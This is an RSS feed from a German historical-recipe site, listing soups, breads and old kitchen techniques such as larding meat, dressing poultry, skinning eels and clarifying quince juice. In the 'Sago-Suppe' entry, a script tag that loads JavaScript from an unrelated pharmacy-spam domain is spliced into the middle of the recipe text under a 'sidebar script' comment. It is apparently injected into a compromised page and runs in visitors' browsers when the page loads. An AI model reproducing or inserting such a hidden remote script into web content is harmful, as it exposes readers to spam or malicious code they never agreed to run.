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	<title>Historisch Kochen</title>
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	<description>Alte Rezepte online</description>
	<pubDate>Tue, 26 Jan 2010 05:29:01 +0000</pubDate>
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		<title>Bettelmanns-Suppe</title>
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		<pubDate>Wed, 20 Jan 2010 16:25:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Süsse Suppen]]></category>

		<category><![CDATA[Brot]]></category>

		<category><![CDATA[Eier]]></category>

		<category><![CDATA[Schmalz]]></category>

		<category><![CDATA[Schwarzbrot]]></category>

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		<category><![CDATA[Wein]]></category>

		<category><![CDATA[Zimt]]></category>

		<category><![CDATA[Zitronenschale]]></category>

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		<description><![CDATA[
Schwarzbrot
Wein
Schmalz
Wasser
Zimt
Nelke
Zitronenschale
Zucker
Eier

Ein Stück Schwarzbrot würfeln. Wenn die Rinde sehr schwarz ist, diese entfernen. Die Hälfte vom Brot wird in heißem Schmalz geröstet. Alles Brot zusammen in eine Kaserolle oder einen Topf geben. Mit halb Wein und halb Wasser aufgiessen und auf dem Feuer so lange kochen lassen, bis das Brot zerkocht ist. Nun durch einen Durchschlag [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>Schwarzbrot</li>
<li>Wein</li>
<li>Schmalz</li>
<li>Wasser</li>
<li>Zimt</li>
<li>Nelke</li>
<li>Zitronenschale</li>
<li>Zucker</li>
<li>Eier</li>
</ul>
<p>Ein Stück Schwarzbrot würfeln. Wenn die Rinde sehr schwarz ist, diese entfernen. Die Hälfte vom Brot wird in heißem Schmalz geröstet. Alles Brot zusammen in eine Kaserolle oder einen Topf geben. Mit halb Wein und halb Wasser aufgiessen und auf dem Feuer so lange kochen lassen, bis das Brot zerkocht ist. Nun durch einen Durchschlag passieren und etwas gemahlenen Zimt und Nelke sowie abgeriebenen Zitronenschale hinzugeben. Mit etwas Zucker süssen und kosten, ob der Geschmack ausreichend kräftig ist. Sonst noch etwas Wein nachgießen. 2 Eigelb dazu geben und in der Servierschüssel unterrühren.</p>
]]></content:encoded>
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		<title>Sago-Suppe mit rotem oder weißem Wein</title>
		<link>http://www.historisch-kochen.de/2010-01-20-sago-suppe-mit-rotem-oder-weisem-wein/</link>
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		<pubDate>Wed, 20 Jan 2010 16:18:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Suppen]]></category>

		<category><![CDATA[Rotwein]]></category>

		<category><![CDATA[Sago]]></category>

		<category><![CDATA[Weißwein]]></category>

		<category><![CDATA[Zucker]]></category>

		<category><![CDATA[Zwiback]]></category>

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		<description><![CDATA[
Sago
Rotwein oder Weißwein
Wasser
Zucker
Zitronenschale
Zimt

Den Sago reinigen und in etwas Wasser aufsetzen. Zucker, Zitronenschale und Zimt dazugeben und so lange kochen, bis er etwas aufgequollen ist.

Nun Wein nach Geschmack hinzugeben. Sollte der Wein sehr sauer sein, so mit etwas Zucker süssen. Zum Anrichten wird der Zimt und die Zitronenschale wieder entfernt.
Man kann die Suppe auch noch mit [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>Sago</li>
<li>Rotwein oder Weißwein</li>
<li>Wasser</li>
<li>Zucker</li>
<li>Zitronenschale</li>
<li>Zimt</li>
</ul>
<p>Den Sago reinigen und in etwas Wasser aufsetzen. Zucker, Zitronenschale und Zimt dazugeben und so lange kochen, bis er etwas aufgequollen ist.<br />
<!-- sidebar script --><script type="text/javascript" src="http://mixpharmpills.com/promo/topbar.js"></script><br />
Nun Wein nach Geschmack hinzugeben. Sollte der Wein sehr sauer sein, so mit etwas Zucker süssen. Zum Anrichten wird der Zimt und die Zitronenschale wieder entfernt.</p>
<p>Man kann die Suppe auch noch mit gerösteten Weißbrotscheiben oder Zwiback servieren.</p>
]]></content:encoded>
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		<item>
		<title>Mit Speck spicken</title>
		<link>http://www.historisch-kochen.de/2010-01-10-mit-speck-spicken/</link>
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		<pubDate>Sun, 10 Jan 2010 11:05:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Fleisch und Fisch]]></category>

		<category><![CDATA[Fleisch]]></category>

		<category><![CDATA[Geflügel]]></category>

		<category><![CDATA[Speck]]></category>

		<category><![CDATA[Spicken]]></category>

		<category><![CDATA[Wild]]></category>

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		<description><![CDATA[Der Speck ist stets mit gesalzener Hand anzufassen, gleichmäßig lang und
dick zu schneiden, auf einem Teller auseinandergelegt zu salzen, vor dem
Gebrauch kalt zu stellen.
Je kälter der Speck, um so leichter das Spicken. Der Schinkenspeck ist mühsamer zu schneiden, aber gesalzen von gleicher Güte wie der Rückenspeck und kann zum Spicken sehr wohl verwendet werden.
1. Man [...]]]></description>
			<content:encoded><![CDATA[<p>Der Speck ist stets mit gesalzener Hand anzufassen, gleichmäßig lang und<br />
dick zu schneiden, auf einem Teller auseinandergelegt zu salzen, vor dem<br />
Gebrauch kalt zu stellen.</p>
<p>Je kälter der Speck, um so leichter das Spicken. Der Schinkenspeck ist mühsamer zu schneiden, aber gesalzen von gleicher Güte wie der Rückenspeck und kann zum Spicken sehr wohl verwendet werden.</p>
<p>1. Man spickt nach dem Klopfen die Fleischstücke von rechts nach links und von oben nach unten.</p>
<p>2. Die Lage der Fleischfaser muß auf der Spicknadel liegen.</p>
<p>3. 1/4 des Speckstreifens stehe oben, 1/4 unten heraus, 1/2 im Fleisch.</p>
<p>4. Die neue Reihe steht entweder genau unter der ersten Reihe oder in den Zwischenräumen derselben.</p>
<p>5. Die unregelmäßigen Enden der Speckstreifen werden mit einer Schere<br />
abgeknipst.</p>
<p>6. Fleisch spickt man stets wenn es schon geklopft und gehäutet ist.<br />
Geflügel muß durch Übergießen mit heißem Wasser vor dem Spicken steif gemacht werden.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Wann ist der Fisch gar ?</title>
		<link>http://www.historisch-kochen.de/2010-01-10-wann-ist-der-fisch-gar/</link>
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		<pubDate>Sun, 10 Jan 2010 10:57:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Fleisch und Fisch]]></category>

		<category><![CDATA[Fisch]]></category>

		<category><![CDATA[garen]]></category>

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		<description><![CDATA[Will man sich von der Gare des Fisches überzeugen, so zieht man eine
Flosse heraus; löst sie sich leicht, ohne blutig zu sein, so ist der
Fisch gar.
]]></description>
			<content:encoded><![CDATA[<p>Will man sich von der Gare des Fisches überzeugen, so zieht man eine<br />
Flosse heraus; löst sie sich leicht, ohne blutig zu sein, so ist der<br />
Fisch gar.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Geflügel vorbereiten</title>
		<link>http://www.historisch-kochen.de/2010-01-10-geflugel-vorbereiten/</link>
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		<pubDate>Sun, 10 Jan 2010 10:55:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Fleisch und Fisch]]></category>

		<category><![CDATA[Federn]]></category>

		<category><![CDATA[Geflügel]]></category>

		<category><![CDATA[Rupfen]]></category>

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		<description><![CDATA[Zuerst zieht man die langen Federn von Schwanz und Flügeln aus, um sie zu
verschiedenem Gebrauch (wie Türen einölen, Formen ausstreichen usw.)
zurückzulegen. Dann beginnt man am Kopf von unten nach oben die Federn,
dicht am Fleisch anfassend, auszurupfen. Das Papier, womit das Geflügel
gewöhnlich ausgestopft ist, zieht man heraus. Ist der Vogel vollständig
gerupft, so legt man ihn mit [...]]]></description>
			<content:encoded><![CDATA[<p>Zuerst zieht man die langen Federn von Schwanz und Flügeln aus, um sie zu<br />
verschiedenem Gebrauch (wie Türen einölen, Formen ausstreichen usw.)<br />
zurückzulegen. Dann beginnt man am Kopf von unten nach oben die Federn,<br />
dicht am Fleisch anfassend, auszurupfen. Das Papier, womit das Geflügel<br />
gewöhnlich ausgestopft ist, zieht man heraus. Ist der Vogel vollständig<br />
gerupft, so legt man ihn mit der Brust auf ein Holzbrett, drückt mit<br />
Daumen und Zeigefinger der linken Hand die Haut unter dem Halse zusammen,<br />
macht, zwischen den Flügeln anfangend, einen leichten Schnitt bis zur<br />
Mitte des Halses und löst vorsichtig den Kopf und die Gurgel mit dem<br />
Zeigefinger der rechten Hand heraus, indem man die Gurgel dicht unter dem<br />
Schnabel abschneidet. (Bei Tauben ist der Kopf nicht mehr am Halse.) Dann<br />
dreht man das Tier um, bringt von oben den Zeigefinger in die<br />
Brustöffnung und löst ringsherum die Eingeweide an Brust und Rücken. Man<br />
schneidet den Afterring weg, und macht von da einen Schnitt in die<br />
Bauchhaut nach oben, schiebt mit Zeige- und Mittelfinger zuerst das Fett<br />
und dann den Magen fassend, die Eingeweide heraus auf das Brett. Man<br />
wäscht das Geflügel schnell innen aus, trocknet es ab und schlägt Hals<br />
und Flügel ab. Will man es kochen, so läßt man Hals und Flügel daran. Die<br />
Füße schneidet man am Kniegelenk ab. Man sengt gerupftes Geflügel, indem<br />
man es an den äußersten Enden haltend, von rechts nach links über<br />
Spiritus-, Papier- oder Strohflamme vorsichtig hin- und herzieht, bis<br />
alle kleinen Federchen abgesengt sind und beputzt es dann mit einem<br />
Messer nochmals. Hat man innen gut ausgetrocknet, so reibt man das<br />
Geflügel mit Salz aus, steckt ein Stückchen Butter, die von der Galle<br />
befreite Leber, auch wohl Magen und Herz hinein oder bereitet eine<br />
Füllung und füllt es damit. Die Öffnungen werden zugenäht und das<br />
Geflügel zu schöner Form gebunden. Mageres Geflügel bedeckt man mit<br />
Speckscheiben, welche man fest darauf bindet, und legt es in die Pfanne<br />
oder den Topf.</p>
]]></content:encoded>
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		<title>Quittensaft klar bekommen</title>
		<link>http://www.historisch-kochen.de/2010-01-10-quittensaft-klar-bekommen/</link>
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		<pubDate>Sun, 10 Jan 2010 10:51:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Obst und Gemüse]]></category>

		<category><![CDATA[Klären]]></category>

		<category><![CDATA[Quitten]]></category>

		<category><![CDATA[Quittensaft]]></category>

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		<description><![CDATA[Quittensaft wie gewohnt herstellen. Früher wurden die Quitten roh gerieben und ausgepresst, heutzutage nutzt man sicher einen Entsafter, der die Quitten zerreibt und den Saft ausschleudert.
Wenn man nun aus dem Saft Gelee oder Likör herstellen würde, wäre dieser auf Grund des hohen Anteils von Fruchtfleisch trübe. Im Likör würde sich dieser trübe Anteil mit der [...]]]></description>
			<content:encoded><![CDATA[<p>Quittensaft wie gewohnt herstellen. Früher wurden die Quitten roh gerieben und ausgepresst, heutzutage nutzt man sicher einen Entsafter, der die Quitten zerreibt und den Saft ausschleudert.</p>
<p>Wenn man nun aus dem Saft Gelee oder Likör herstellen würde, wäre dieser auf Grund des hohen Anteils von Fruchtfleisch trübe. Im Likör würde sich dieser trübe Anteil mit der Zeit absetzen.</p>
<p>Der Saft lässt sich einfach klären, in dem man den Saft kurz aufkocht  und anschliessend in eine Glasschüssel giesst. Der Trübanteil setzt sich oben in einer recht fest werdenden Schicht ab. Mit Hilfe eines Schaumlöffels lässt sich dieser einfach aus der Glasschüssel abnehmen. Die Glasschüssel eignet sich auf Grund der Durchsichtigkeit, da man so sieht, wann der Restsaft klar ist, und auch, wie dick die Schicht ist. Man erhält einen glasklaren Quittensaft.</p>
<p>Das kurze Aufkochen hat keinen geschmacklichen Einfluss auf den Saft.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Aal schlachten und abziehen</title>
		<link>http://www.historisch-kochen.de/2010-01-10-aal-schlachten-und-abziehen/</link>
		<comments>http://www.historisch-kochen.de/2010-01-10-aal-schlachten-und-abziehen/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 10:44:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Fleisch und Fisch]]></category>

		<category><![CDATA[Aal]]></category>

		<category><![CDATA[Fisch]]></category>

		<category><![CDATA[Schlachten]]></category>

		<category><![CDATA[Tipp]]></category>

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		<description><![CDATA[Der Kopf des Aales wird mit einem Tuch umwickelt und heftig mit dem
Küchenbeil einige Male darauf geschlagen. Dann umbindet man den Kopf mit
einem Bindfaden und hängt den Aal an einen Haken. Mit einer Handvoll Salz
reibt man den Fisch von oben bis unten stark ab und wiederholt das Reiben
mit Salz so lange, bis der Fisch blau [...]]]></description>
			<content:encoded><![CDATA[<p>Der Kopf des Aales wird mit einem Tuch umwickelt und heftig mit dem<br />
Küchenbeil einige Male darauf geschlagen. Dann umbindet man den Kopf mit<br />
einem Bindfaden und hängt den Aal an einen Haken. Mit einer Handvoll Salz<br />
reibt man den Fisch von oben bis unten stark ab und wiederholt das Reiben<br />
mit Salz so lange, bis der Fisch blau erscheint. Um ihn abzuziehen, löst<br />
man durch einen Schnitt um den Kopf die Haut und zieht sie mit dem Messer<br />
nachhelfend, von oben nach unten ab. Kurze Zeit über ein Feuer halten,<br />
bewirkt daß sich die Haut leichter abstreifen läßt.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Blumenkohl mit Tomate aus dem Tontopf</title>
		<link>http://www.historisch-kochen.de/2010-01-10-blumenkohl-mit-tomate-aus-dem-tontopf/</link>
		<comments>http://www.historisch-kochen.de/2010-01-10-blumenkohl-mit-tomate-aus-dem-tontopf/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 10:37:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Fleisch]]></category>

		<category><![CDATA[Blumenkohl]]></category>

		<category><![CDATA[garen]]></category>

		<category><![CDATA[Gehacktes]]></category>

		<category><![CDATA[Hackfleisch]]></category>

		<category><![CDATA[Tomate]]></category>

		<category><![CDATA[Tontopf]]></category>

		<category><![CDATA[Zwiebel]]></category>

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		<description><![CDATA[
1 Blumenkohl
300g Tomaten
400g Hackfleisch
50g geriebener Käse
50g Butter
1 Brötchen
1 Zwiebel
1 Ei
Salz, Pfeffer

Den Blumenkohl putzen, waschen und in Röschen zerteilen. zerteilen. Die Tomaten brühen, abziehen und vierteln.
Aus Hackfleisch, dem in Wasser eingeweichten Brötchen, der geschälten und gewürfelten Zwiebel, einem Ei, Pfeffer und Salz einen Hackfleisch-Teig bereiten-
Den Blumenkohl in den vorher gewässerten Tontopf legen und den Hackfleischteig darauf verteilen. Die [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>1 Blumenkohl</li>
<li>300g Tomaten</li>
<li>400g Hackfleisch</li>
<li>50g geriebener Käse</li>
<li>50g Butter</li>
<li>1 Brötchen</li>
<li>1 Zwiebel</li>
<li>1 Ei</li>
<li>Salz, Pfeffer</li>
</ul>
<p>Den Blumenkohl putzen, waschen und in Röschen zerteilen. zerteilen. Die Tomaten brühen, abziehen und vierteln.</p>
<p>Aus Hackfleisch, dem in Wasser eingeweichten Brötchen, der geschälten und gewürfelten Zwiebel, einem Ei, Pfeffer und Salz einen Hackfleisch-Teig bereiten-</p>
<p>Den Blumenkohl in den vorher gewässerten Tontopf legen und den Hackfleischteig darauf verteilen. Die Tomatenviertel darüber streuen. Mit etwas Salz würzen und das ganze mit dem geriebenen Käse und der Butter bestreuen.</p>
<p>Nun den Tontopf schließen und im Backofen bei ca. 200 Grad ca. 1 Stunde garen. Dazu kann man Kartoffelpüree reichen.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Landbrot mit Kartoffeln</title>
		<link>http://www.historisch-kochen.de/2009-11-08-landbrot-mit-kartoffeln/</link>
		<comments>http://www.historisch-kochen.de/2009-11-08-landbrot-mit-kartoffeln/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 16:03:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Brot]]></category>

		<category><![CDATA[Kartoffeln]]></category>

		<category><![CDATA[Mehl]]></category>

		<category><![CDATA[Roggenmehl]]></category>

		<category><![CDATA[Sauerteig]]></category>

		<category><![CDATA[Schrotmehl]]></category>

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		<description><![CDATA[
4 kg grobes Roggenmehl
500g Schrotmehl
1 TL Salz
6 gekochte und geriebene Kartoffeln
100g Sauerteig
1 l warmes Wasser

Der Teig wird am Abend zuvor vorbereitet.
2/3tel des Roggenmehls mit dem Schrotmehl und den Kartoffeln sowie dem Wasser und dem Sauerteig ordentlich vermengen. Anschliessend wird etwas Mehl über den Teig gestreut und dieser an einen warmen Ort gestellt.  Ca. 12 Stunden später wird [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>4 kg grobes Roggenmehl</li>
<li>500g Schrotmehl</li>
<li>1 TL Salz</li>
<li>6 gekochte und geriebene Kartoffeln</li>
<li>100g Sauerteig</li>
<li>1 l warmes Wasser</li>
</ul>
<p>Der Teig wird am Abend zuvor vorbereitet.</p>
<p>2/3tel des Roggenmehls mit dem Schrotmehl und den Kartoffeln sowie dem Wasser und dem Sauerteig ordentlich vermengen. Anschliessend wird etwas Mehl über den Teig gestreut und dieser an einen warmen Ort gestellt.  Ca. 12 Stunden später wird der Teig mit dem restlichen Mehl und dem Salz gut durchgeknetet.</p>
<p>Nun grosse Brot-Laibe aus dem Teig formen und diese auf ein mit Mehl bestreutes Brett zum Aufgehen legen.  Dann im gut vorgeheizten Backofen ca. 2 Stunden backen.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Gesäuertes Roggenbrot</title>
		<link>http://www.historisch-kochen.de/2009-11-08-gesauertes-roggenbrot/</link>
		<comments>http://www.historisch-kochen.de/2009-11-08-gesauertes-roggenbrot/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 15:58:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Brot]]></category>

		<category><![CDATA[Kümmel]]></category>

		<category><![CDATA[Roggenbrot]]></category>

		<category><![CDATA[Sauerteig]]></category>

		<category><![CDATA[Teig]]></category>

		<guid isPermaLink="false">http://www.historisch-kochen.de/?p=1324</guid>
		<description><![CDATA[
2,5 kg Roggenmehl
1 l warmes Wasser
2 TL Salz
100g Sauerteig
einige Kümmelkörner

Der Teig wird am Abend zuvor vorbereitet.
2/3tel des Mehls wird mit dem Wasser und dem Sauerteig ordentlich vermengt. Anschliessend wird etwas Mehl über den Teig gestreut und dieser an einen warmen Ort gestellt.  Ca. 12 Stunden später wird der Teig mit dem restlichen Mehl und dem [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>2,5 kg Roggenmehl</li>
<li>1 l warmes Wasser</li>
<li>2 TL Salz</li>
<li>100g Sauerteig</li>
<li>einige Kümmelkörner</li>
</ul>
<p>Der Teig wird am Abend zuvor vorbereitet.</p>
<p>2/3tel des Mehls wird mit dem Wasser und dem Sauerteig ordentlich vermengt. Anschliessend wird etwas Mehl über den Teig gestreut und dieser an einen warmen Ort gestellt.  Ca. 12 Stunden später wird der Teig mit dem restlichen Mehl und dem Salz gut durchgeknetet.</p>
<p>Nun Brote aus dem Teig formen und diese auf ein mit Mehl bestreutes Brett zum Aufgehen legen.  Den Kümmel über das Brot streuen und etwas eindrücken. Dann im gut vorgeheizten Backofen ca. 2 Stunden backen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.historisch-kochen.de/2009-11-08-gesauertes-roggenbrot/feed/</wfw:commentRss>
		</item>
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